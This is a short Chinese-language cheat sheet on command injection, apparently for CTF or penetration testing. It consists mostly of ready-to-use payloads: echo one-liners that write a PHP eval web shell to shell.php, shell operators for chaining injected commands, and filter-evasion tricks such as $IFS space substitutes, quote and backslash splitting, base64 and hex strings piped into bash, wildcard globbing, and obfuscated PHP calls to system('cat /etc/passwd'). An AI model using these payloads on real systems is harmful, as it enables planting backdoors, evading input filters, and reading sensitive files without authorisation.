0%

命令执行

命令执行

写文件

windows下

对于< , & 等特殊字符使用 ^ 进行转义

echo ^<?php eval($_POST[a]); ?^> > shell.php

Linux下

echo ‘<?php eval($_POST[a]); ?>’ > shell.php

管道符

windows 下

| 直接执行后面的语句

|| 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

& 前面和后面命令都要执行,无论前面真假

&& 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

linux下

; 前面和后面命令都要执行,无论前面真假

| 直接执行后面的语句

|| 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

& 前面和后面命令都要执行,无论前面真假

&& 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

空格绕过

$IFS

$IFS$1

${IFS}

<

<>

{cat,flag.php}

X=$’A\x20B’&&$X A为命令,B为参数,用\x20代替空格。

%20 %09 php环境

关键字绕过

反引号

`id`

$()

ls $(id) 或者 $(id)

内联执行

a=who;b=ami;$a$b

a=she;b=ll;cat $a$b.php

反斜线

ls;wh\oa\mi

单双引号

who’a’mi

base64

echo d2hvYW1p|base64 -d|sh
echo d2hvYW1p|base64 -d|bash

hex

echo 77686F616D69|xxd -r -p|bash

代表为空的特殊字符

$* ls;who$*ami

$@ ls;who$@ami

$x x为1-9

${x} x为任意正整数

进阶

wh`asd`oa`rfv`mi

截取环境执行命令

${PATH:5:1}${PATH:2:1}

Windows

“w”h”o”a”m”i”

wh^oa^mi

(((w””h^o^a”m”i)))

set a=who set b=ami %a%%b%

set a=abc who^%a:~0,1%mi

匹配符

任意一个字符

cat sh[efg]ll.php 匹配[efg]中任意一个字符

cat sh[a-z]ll.php 匹配[a-z]中任意一个字符

任意字符

cat she*

正则

cat ?????.???

函数名绕过

php7

# 以system()为例:system("cat /etc/passwd");
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
(sy.(st).em)("cat /etc/passwd");
"system/*fgnb*/("cat /etc/passwd");"
"system/*fgnb*/(wh./*fgnb*/(oa)/*fgnb*/.mi);"
"(sy./*fgnb*/(st)/*fgnb*/.em)/*fgnb*/(wh./*fgnb*/(oa)/*fgnb*/.mi);"